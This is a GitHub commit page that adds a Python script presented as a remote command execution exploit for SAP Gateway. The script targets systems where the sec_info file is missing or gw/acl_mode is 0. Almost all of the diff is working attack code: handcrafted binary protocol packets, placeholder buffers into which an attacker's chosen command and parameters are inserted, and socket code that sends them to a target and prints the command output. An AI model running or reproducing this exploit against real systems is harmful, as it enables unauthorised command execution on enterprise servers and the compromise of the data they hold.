-
Notifications
You must be signed in to change notification settings - Fork 45
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
chipik
committed
Apr 11, 2019
1 parent
3ba42cb
commit 349d25e
Showing
2 changed files
with
165 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,155 @@ | ||
#!/usr/bin/env python | ||
|
||
# Dmitry @_chipik Chastuhin | ||
|
||
# tested on SAP 700 sp5 <= BASIS <= SAP 731 SP 04 | ||
# exploit for SAP GW. Works when sec_info file doesn't exist and when gw/acl_mode = 0 | ||
|
||
import argparse | ||
import socket | ||
import re | ||
|
||
|
||
def parse_args(): | ||
parser = argparse.ArgumentParser(description='[*] Hello, welcome to SAP GW exploit...') | ||
parser.add_argument('-t', '--target', required=True, help='Target IP address') | ||
parser.add_argument('-p', '--port', required=True, type=int, default='3300', | ||
help='Target GW port number.Default 3300') | ||
parser.add_argument('-c', '--cmd', help='Command name') | ||
parser.add_argument('-v', '--verb', action='store_true', default=0, help='Enable verbose') | ||
parser.add_argument('-o', '--old', action='store_true', help='Use when version of the GW ~640') | ||
args = parser.parse_args() | ||
return args | ||
|
||
|
||
# parse input | ||
args = parse_args() | ||
|
||
def convert_ip(ip_1, ch): | ||
for i in range((30 - len(ip_1) * 2) / 2): | ||
ip_1 = ip_1 + ch | ||
return ip_1 | ||
|
||
|
||
def iptohex(ip): | ||
octets = ip.split('.') | ||
hex_octets = [] | ||
for octet in octets: | ||
if int(octet) < 16: | ||
hex_octets.append('0' + hex(int(octet))[2:]) | ||
else: | ||
hex_octets.append(hex(int(octet))[2:]) | ||
hex_octets = ''.join(hex_octets) | ||
return hex_octets.decode('hex') | ||
|
||
|
||
def net_get_ip(): | ||
return [(s.connect(('8.8.8.8', 53)), | ||
s.getsockname()[0], | ||
s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1] | ||
|
||
|
||
opt_ip = net_get_ip() | ||
|
||
# some optional ip in the first packet | ||
hex_ip = opt_ip | ||
# some optional ip in the second packet | ||
hex_ip2 = opt_ip | ||
targ2 = '10.10.10.10' | ||
targ2_size = chr(len(targ2)) | ||
targ1 = convert_ip(args.target, '\x00') | ||
|
||
exploit_p = [ | ||
"\x00\x00\x00\x40\x02\x03" + iptohex( | ||
hex_ip) + "\x00\x00\x00\x00\x73\x61\x70\x67\x77\x30\x31\x00\x00\x00\x34\x31\x30\x33\x00\x00\x00\x00\x00\x00\x73\x61\x70\x73\x65\x72\x76\x65\x73\x61\x70\x67\x77\x30\x31\x20\x20\x20\x20\x20\x20\x20\x20\x20\x06\x0b\xff\xff\x00\x00\x00\x00\x00\x00", | ||
"\x00\x00\x01\xA4\x06\xCA\x03\x00\x00\x13\xFF\xFF\x00\x00\x01\x00\x00\x00\x00\x00\xC0\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x01\x54\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x5F\x37\x35\x20\x20\x20\x20\x31\x37\x32\x2E\x31\x36\x2E\x30\x73\x61\x70\x78\x70\x67\x20\x20\x45\x02\x00\x00\x00\x00\xFF\xFF\x60\x00\x00\x00\x00\x00\x00\x00\x00\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x00\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFE\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + targ1 + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + iptohex( | ||
hex_ip2) + "\x00\x00\x00\x00\x73\x61\x70\x78\x70\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", | ||
"\x00\x00\x0A\x24\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x01\x00\x08\x01\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x03\x00\x04\x00\x00\x06\x1B\x01\x03\x01\x06\x00\x0B\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23\x01\x06\x00\x07\x00\x0F" + convert_ip( | ||
targ2, | ||
'\x20') + "\x00\x07\x00\x18\x00" + targ2_size + targ2 + "\x00\x18\x00\x08\x00\x11\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x00\x08\x00\x11\x00\x01\x33\x00\x11\x00\x13\x00\x04\x37\x32\x30\x20\x00\x13\x00\x12\x00\x04\x37\x33\x31\x20\x00\x12\x00\x06\x00\x04\x54\x5F\x37\x35\x00\x06\x01\x30\x00\x08\x53\x41\x50\x4C\x53\x53\x58\x50\x01\x30\x01\x11\x00\x04\x53\x41\x50\x2A\x01\x11\x01\x14\x00\x03\x30\x30\x31\x01\x14\x01\x15\x00\x01\x45\x01\x15\x00\x09\x00\x04\x53\x41\x50\x2A\x00\x09\x01\x34\x00\x03\x30\x30\x31\x01\x34\x05\x01\x00\x01\x01\x05\x01\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x15\x53\x41\x50\x58\x50\x47\x5F\x53\x54\x41\x52\x54\x5F\x58\x50\x47\x5F\x4C\x4F\x4E\x47\x01\x02\x05\x03\x00\x00\x05\x03\x01\x31\x00\xE6\x2A\x54\x48\x2A\x03\x00\xE6\x00\x00\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x4D\x34\x39\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x33\x37\x44\x35\x38\x31\x45\x33\x38\x38\x39\x41\x46\x31\x36\x44\x41\x30\x30\x41\x30\x30\x30\x43\x32\x39\x30\x30\x39\x39\x44\x30\x30\x30\x31\x00\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x00\x00\x00\xE2\x2A\x54\x48\x2A\x01\x31\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x06\x43\x4F\x4E\x56\x49\x44\x02\x05\x02\x05\x00\x08\x53\x54\x52\x54\x53\x54\x41\x54\x02\x05\x02\x05\x00\x05\x58\x50\x47\x49\x44\x02\x05\x02\x01\x00\x07\x45\x58\x54\x50\x52\x4F\x47\x02\x01\x02\x03\x00\x80\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x02\x03\x02\x01\x00\x0B\x4C\x4F\x4E\x47\x5F\x50\x41\x52\x41\x4D\x53\x02\x01\x02\x03\x04\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x02\x03\x02\x01\x00\x06\x50\x41\x52\x41\x4D\x53\x02\x01\x02\x03\x00\xFF\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x45\x52\x52\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x09\x53\x54\x44\x49\x4E\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x52\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x4F\x55\x54\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x08\x54\x45\x52\x4D\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x43\x02\x03\x02\x01\x00\x09\x54\x52\x41\x43\x45\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x36\x02\x03\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x09\xCC\x00\x00\x6D\x60", | ||
"\x00\x00\x02\x31\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x02\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x0E\x53\x41\x50\x58\x50\x47\x5F\x45\x4E\x44\x5F\x58\x50\x47\x01\x02\x05\x03\x00\x00\x05\x03\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x08\x45\x58\x49\x54\x43\x4F\x44\x45\x02\x05\x02\x05\x00\x08\x45\x58\x49\x54\x53\x54\x41\x54\x02\x05\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x01\xD9\x00\x00\x6D\x60"] | ||
|
||
|
||
|
||
def run_cmd(): # execute cmd on the victim server | ||
print "[*] sending cmd:" + args.cmd | ||
if args.old: | ||
return RCE_gw_for_old_sustems() # via gateway for old systems | ||
return RCE_gw() # via gateway | ||
|
||
|
||
def RCE_gw(): # RCE via GW | ||
c = args.cmd.split() | ||
param = args.cmd[len(c[0]) + 1:] | ||
cmd = c[0] | ||
result = exploit(cmd, param) | ||
if args.verb: | ||
print "[DBG] Run command:" + cmd + " " + param | ||
print "[*] Command result:" + trim_r(result) | ||
return trim_r(result) | ||
|
||
|
||
def RCE_gw_for_old_sustems(): # RCE via GW for old systems ~640 | ||
param = "" | ||
result = exploit(args.cmd, param) | ||
if args.verb: | ||
print "[DBG] Run command:" + args.cmd + " " + param | ||
print "[*] Command result:" + trim_r(result) | ||
return trim_r(result) | ||
|
||
|
||
def exploit(cmd, param): # create RCE request | ||
tmp = exploit_p[2] | ||
tmp1 = exploit_p[3] | ||
tmp = tmp.replace("a" * 128, space_fill(cmd, 1)) # insert command | ||
tmp = tmp.replace("b" * 255, space_fill(param, 2)) # insert param | ||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
s.connect((args.target, args.port)) | ||
send_req(s, exploit_p[0]) | ||
conversation = re.search(ur"\d{8}", send_req(s, exploit_p[1])) | ||
send_req(s, tmp.replace("93201875", conversation.group())) | ||
result = send_req(s, tmp1.replace("93201875", conversation.group())) | ||
s.close() | ||
return result | ||
|
||
|
||
def trim_r(str): # trim a trash form the server response | ||
str_begin = str.find("\x02\x03\x04\x00") + 5 | ||
str_end = str.find("\x20\x03\x04\x03\x36") | ||
if str_begin < 20: | ||
if args.verb: | ||
print "[!] Packet compression. Not supported." | ||
return '' | ||
if str_begin == -1: | ||
print "[!] Problem with server response parsing." | ||
print "[!] It's probably a size issue and server compressed it." | ||
return '' | ||
if str_end == -1: | ||
print "[!] End marker not detected. Cutting at the end." | ||
return str[str_begin:].replace('\x20\x03\x04\x03\x04\x00', '\n') | ||
return str[str_begin:str_end].replace('\x20\x03\x04\x03\x04\x00', '\n') | ||
|
||
|
||
def send_req(s, message): # send requests | ||
MESSAGE = message | ||
s.send(MESSAGE) | ||
data = s.recv(8192) | ||
if args.verb == 1: | ||
print "[DBG] Received data:", data | ||
return data | ||
|
||
|
||
def space_fill(inpt, what): # fill packets by \x20 | ||
cmd_name_buff = 128 | ||
param_buff = 255 | ||
if what == 1: # cmd name | ||
nop_cnt = cmd_name_buff - len(inpt) | ||
inpt = inpt + nop_cnt * "\x20" | ||
return inpt | ||
elif what == 2: # param | ||
nop_cnt = param_buff - len(inpt) | ||
inpt = inpt + nop_cnt * "\x20" | ||
return inpt | ||
|
||
|
||
print run_cmd() |